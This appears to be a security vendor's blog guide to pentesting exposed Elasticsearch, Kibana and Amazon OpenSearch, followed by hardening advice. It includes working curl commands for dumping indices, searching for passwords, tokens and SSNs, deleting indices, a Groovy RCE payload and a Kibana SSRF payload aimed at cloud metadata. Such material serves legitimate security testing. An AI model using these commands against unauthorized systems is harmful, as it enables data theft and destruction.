The Elasticsearch Security Problem

Elasticsearch was originally designed as an internal service with no authentication by default. In versions prior to 8.0, security features were disabled by default and required separate configuration. The result: thousands of publicly accessible Elasticsearch clusters exposing user PII, application logs, and internal system data.

Notable breaches attributable to exposed Elasticsearch instances include:

  • 2.7 billion records exposed from a misconfigured health data cluster (2021)
  • 500 million guest records from a major hotel chain (2018)
  • Numerous web scraping databases, credential dumps, and contact lists

OpenSearch (AWS's Elasticsearch fork) inherits the same configuration complexity and often runs in managed form (Amazon OpenSearch Service) with misconfigured access policies.

Phase 1: Discovery and Fingerprinting

Finding Exposed Instances

# Shodan queries
shodan search "product:Elastic" port:9200
shodan search "X-elastic-product: Elasticsearch" port:9200

# Censys search
censys search 'services.elasticsearch.cluster_name: *' and services.port: 9200

# Network scanning
nmap -p 9200,9300 --script elasticsearch-info 192.168.1.0/24

# Basic connectivity test
curl -s http://target:9200/ | python3 -m json.tool

Example Unauthenticated Response

{
  "name" : "node-1",
  "cluster_name" : "production-cluster",
  "cluster_uuid" : "abc123",
  "version" : {
    "number" : "7.17.9",
    "lucene_version" : "8.11.1"
  },
  "tagline" : "You Know, for Search"
}

Version Detection and Vulnerability Mapping

# Check version (determines applicable CVEs)
curl -s "http://target:9200/" | python3 -c "
import sys, json
d = json.load(sys.stdin)
print(f\"Version: {d['version']['number']}\")
print(f\"Cluster: {d['cluster_name']}\")
"

# Check if security is enabled (Elasticsearch 8+)
curl -s "http://target:9200/_xpack" | python3 -m json.tool
# "enabled": false means security features are disabled

# Check for OpenSearch
curl -s "http://target:9200/" | grep -i "opensearch\|amazon"

Phase 2: Index Enumeration and Data Extraction

Listing All Indexes

# List all indices
curl -s "http://target:9200/_cat/indices?v&h=health,status,index,docs.count,store.size"

# Example output showing sensitive data
health status index           docs.count  store.size
green  open   users                42891       8.4mb
green  open   transactions       1234567      45.2gb
green  open   audit-logs          890234       2.1gb
green  open   .kibana                  42      94.6kb

# Count total documents across all indices
curl -s "http://target:9200/_cat/count?v"

# Get index mappings (reveals field names and data types)
curl -s "http://target:9200/users/_mapping" | python3 -m json.tool

Data Extraction Techniques

# Extract first 10 documents from an index
curl -s "http://target:9200/users/_search?size=10" | \
  python3 -c "
import sys, json
d = json.load(sys.stdin)
for hit in d['hits']['hits']:
    print(json.dumps(hit['_source'], indent=2))
"

# Search for specific fields (password, email, SSN, credit card)
curl -s "http://target:9200/_search" -H "Content-Type: application/json" -d '{
  "query": {
    "bool": {
      "should": [
        {"exists": {"field": "password"}},
        {"exists": {"field": "credit_card"}},
        {"exists": {"field": "ssn"}}
      ]
    }
  },
  "size": 5
}'

# Full data dump using scroll API (for large indexes)
# Step 1: Initialize scroll
SCROLL_ID=$(curl -s "http://target:9200/users/_search?scroll=1m&size=1000" \
  -H "Content-Type: application/json" \
  -d '{"query": {"match_all": {}}}' | \
  python3 -c "import sys,json; print(json.load(sys.stdin)['_scroll_id'])")

# Step 2: Continue scrolling
curl -s "http://target:9200/_search/scroll" \
  -H "Content-Type: application/json" \
  -d "{\"scroll\": \"1m\", \"scroll_id\": \"$SCROLL_ID\"}"

Hunting for Sensitive Data

# Search for passwords across all indexes
curl -s "http://target:9200/_all/_search" -H "Content-Type: application/json" -d '{
  "query": {"query_string": {"query": "password OR passwd OR pwd"}},
  "size": 5,
  "_source": ["*"]
}'

# Search for API keys and tokens
curl -s "http://target:9200/_all/_search" -H "Content-Type: application/json" -d '{
  "query": {"query_string": {"query": "api_key OR access_token OR bearer_token OR secret_key"}},
  "size": 5
}'

# Search for PII
curl -s "http://target:9200/_all/_search" -H "Content-Type: application/json" -d '{
  "query": {"query_string": {"query": "ssn OR social_security OR date_of_birth OR credit_card"}},
  "size": 5
}'

# Check for credentials in log indexes
curl -s "http://target:9200/logs-*/_search" -H "Content-Type: application/json" -d '{
  "query": {"match": {"message": "password"}},
  "size": 10
}'

Phase 3: Cluster API Exploitation

Cluster Information Disclosure

# Cluster health and node info
curl -s "http://target:9200/_cluster/health?pretty"
curl -s "http://target:9200/_cluster/settings?pretty"
curl -s "http://target:9200/_nodes?pretty"

# Node filesystem information (reveals server paths)
curl -s "http://target:9200/_nodes/stats/fs?pretty"

# Repository and snapshot information
curl -s "http://target:9200/_snapshot?pretty"
curl -s "http://target:9200/_snapshot/_all?pretty"

# ILM policies (Index Lifecycle Management)
curl -s "http://target:9200/_ilm/policy?pretty"

Creating or Modifying Indexes (Data Manipulation)

# If write access is granted, you can create new indexes
curl -X PUT "http://target:9200/attacker-test" -H "Content-Type: application/json" -d '{
  "settings": {"number_of_shards": 1}
}'

# Insert documents (proof of write access)
curl -X POST "http://target:9200/attacker-test/_doc" -H "Content-Type: application/json" -d '{
  "attacker": "ironimo-pentest",
  "timestamp": "2026-07-03"
}'

# Delete indexes (destructive - only with explicit authorization)
curl -X DELETE "http://target:9200/attacker-test"

# Modify cluster settings (dangerous)
curl -X PUT "http://target:9200/_cluster/settings" -H "Content-Type: application/json" -d '{
  "transient": {"cluster.routing.allocation.enable": "none"}
}'

Dynamic Script Execution (Pre-7.x)

In older Elasticsearch versions (before 6.x), dynamic scripting allowed Groovy/Painless code execution:

# Elasticsearch < 1.6: Groovy script execution (RCE)
curl "http://target:9200/_search" -d '{
  "script_fields": {
    "exec": {
      "script": "java.lang.Runtime.getRuntime().exec([\"id\"]).text"
    }
  }
}'

# Painless script in newer versions (sandboxed but test for escapes)
curl "http://target:9200/index/_search" -H "Content-Type: application/json" -d '{
  "script": {
    "source": "ctx._source.field = params.value",
    "lang": "painless",
    "params": {"value": "test"}
  }
}'

Phase 4: Kibana Security Testing

Kibana provides a web UI for Elasticsearch. Exposed Kibana instances often allow full data access through the GUI without needing to know Elasticsearch API syntax.

Kibana Discovery

# Kibana runs on port 5601 by default
curl -s "http://target:5601/app/kibana" | grep -i "kibana"
curl -s "http://target:5601/api/status" | python3 -m json.tool

# Check for unauthenticated Kibana access
curl -s "http://target:5601/api/fleet/agent_policies" | python3 -m json.tool

Kibana CVE Testing

# CVE-2023-31414: Kibana arbitrary code execution via YAML config
# Affects Kibana < 8.7.1 and < 7.17.10
# Test endpoint
curl -s "http://target:5601/api/osquery/live_queries" \
  -H "Content-Type: application/json" \
  -H "kbn-xsrf: xxx" \
  -d '{"query": "SELECT * FROM osquery_info"}'

# CVE-2022-23708: Kibana SSRF via Vega visualization
# Craft a Vega spec that makes server-side requests
curl -s "http://target:5601/api/kibana/dashboards/import" \
  -H "Content-Type: application/json" \
  -H "kbn-xsrf: xxx" \
  -d '{"objects": [{"type": "visualization", "attributes": {"visState": "{\"type\":\"vega\",\"params\":{\"spec\":\"{$scheme: https, $uri: http://169.254.169.254/}\"}}"}}]}'

Kibana Saved Object Extraction

# Export all saved objects (dashboards, visualizations, searches)
curl -s "http://target:5601/api/saved_objects/_export" \
  -H "Content-Type: application/json" \
  -H "kbn-xsrf: xxx" \
  -d '{"type": ["dashboard", "visualization", "search", "index-pattern"], "excludeExportDetails": true}'

# List index patterns (reveals data sources)
curl -s "http://target:5601/api/saved_objects/_find?type=index-pattern&per_page=100"

Phase 5: Amazon OpenSearch Service Testing

Amazon OpenSearch Service (formerly Amazon Elasticsearch Service) uses IAM for authentication but is commonly misconfigured with open access policies.

Open Access Policy Detection

# Test if anonymous access is allowed
curl -s "https://DOMAIN-ENDPOINT.us-east-1.es.amazonaws.com/_cat/indices?v"

# Check for overly permissive access policies
# This IAM policy grants access to everyone — look for it in AWS Console
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {"AWS": "*"},  # PROBLEM: unrestricted access
      "Action": "es:*",
      "Resource": "arn:aws:es:region:account:domain/name/*"
    }
  ]
}

IAM Role and SAML Misconfiguration

# Test for fine-grained access control bypass
# Check if backend roles are properly scoped
curl -s "https://DOMAIN.es.amazonaws.com/_plugins/_security/api/roles" \
  -u "admin:password" | python3 -m json.tool

# Check security configuration
curl -s "https://DOMAIN.es.amazonaws.com/_plugins/_security/api/securityconfig" \
  -u "admin:password" | python3 -m json.tool

Automated Testing Tools

Nuclei Templates

# Elasticsearch-specific Nuclei scan
nuclei -u http://target:9200 \
  -t http/misconfiguration/elasticsearch/ \
  -t http/exposed-panels/kibana-dashboard.yaml \
  -t http/cves/ \
  -severity medium,high,critical

# Specific checks
nuclei -u http://target:9200 \
  -t http/misconfiguration/elasticsearch/elasticsearch-unauth-access.yaml \
  -t http/misconfiguration/elasticsearch/elasticsearch-open-indices.yaml

Custom Enumeration Script

#!/usr/bin/env python3
# elasticsearch_enum.py
import requests
import json

def enum_elasticsearch(target):
    base = f"http://{target}:9200"

    # Basic access check
    r = requests.get(base, timeout=5)
    if r.status_code != 200:
        print(f"[-] {target}: No access")
        return

    info = r.json()
    print(f"[+] {target}: {info['cluster_name']} v{info['version']['number']}")

    # List indices
    r = requests.get(f"{base}/_cat/indices?v&h=health,index,docs.count,store.size")
    print("[+] Indices:")
    print(r.text)

    # Count total documents
    r = requests.get(f"{base}/_cat/count?v")
    print("[+] Document count:")
    print(r.text)

    # Sample data from first index
    indices_data = requests.get(f"{base}/_cat/indices?format=json").json()
    if indices_data:
        first_index = indices_data[0]['index']
        r = requests.get(f"{base}/{first_index}/_search?size=1")
        print(f"[+] Sample from '{first_index}':")
        print(json.dumps(r.json(), indent=2)[:500])

if __name__ == "__main__":
    import sys
    enum_elasticsearch(sys.argv[1])

Elasticsearch Security Hardening

Enable Security (Elasticsearch 7.x and Earlier)

# elasticsearch.yml
xpack.security.enabled: true
xpack.security.transport.ssl.enabled: true
xpack.security.transport.ssl.verification_mode: certificate
xpack.security.transport.ssl.keystore.path: elastic-certificates.p12
xpack.security.transport.ssl.truststore.path: elastic-certificates.p12
xpack.security.http.ssl.enabled: true

# Set built-in user passwords
bin/elasticsearch-setup-passwords auto

Network Security

# Bind only to localhost (not 0.0.0.0)
network.host: 127.0.0.1

# Or bind to specific interface
network.host: 10.0.0.1

# Disable HTTP when Elasticsearch shouldn't be directly accessed
http.enabled: false

# Firewall rules (iptables)
iptables -A INPUT -p tcp --dport 9200 -s TRUSTED_IP -j ACCEPT
iptables -A INPUT -p tcp --dport 9200 -j DROP
iptables -A INPUT -p tcp --dport 9300 -j DROP

Role-Based Access Control

# Create restricted role (read-only access to specific index)
curl -X PUT "https://target:9200/_security/role/readonly_users" \
  -u "elastic:password" \
  -H "Content-Type: application/json" -d '{
  "indices": [{
    "names": ["users"],
    "privileges": ["read"]
  }]
}'

# Create user with restricted role
curl -X PUT "https://target:9200/_security/user/app_user" \
  -u "elastic:password" \
  -H "Content-Type: application/json" -d '{
  "password": "strong_password",
  "roles": ["readonly_users"]
}'

Audit Logging

# Enable audit logging in elasticsearch.yml
xpack.security.audit.enabled: true
xpack.security.audit.logfile.events.include:
  - authentication_success
  - authentication_failed
  - access_denied
  - connection_denied

# Log to a separate file
xpack.security.audit.logfile.events.emit_request_body: true

OpenSearch Security Checklist

  • Enable fine-grained access control — never use open access policies
  • Restrict to VPC — use VPC endpoints, never expose to internet
  • Enable encryption at rest and in transit — TLS 1.2+ required
  • Enable audit logs — ship to CloudWatch for SIEM analysis
  • Use IP-based restrictions — combine with IAM for defense in depth
  • Disable public access — set in domain creation, hard to change after

Testing with Ironimo

Ironimo identifies exposed Elasticsearch and OpenSearch instances, checks for unauthenticated access, maps accessible indexes, and verifies security configuration against known CVEs — surfacing data exposure risks before they become breaches.

Find Your Exposed Data Stores

Scan for unauthenticated Elasticsearch, Kibana, and OpenSearch access as part of your regular security testing cadence.

Start free scan

Key Takeaways

  • Unauthenticated access is the primary risk — enable security features and change default credentials immediately
  • Never bind to 0.0.0.0 — Elasticsearch should never listen on all interfaces in production
  • Kibana is an amplifier — securing Elasticsearch without securing Kibana leaves the data accessible via GUI
  • Scroll API enables full dumps — unauthenticated Elasticsearch means complete data exfiltration
  • Cloud managed ≠ secure — Amazon OpenSearch Service requires explicit access policy hardening
  • Elasticsearch 8.0+ defaults are better — if you're still on 7.x, migrate or explicitly enable security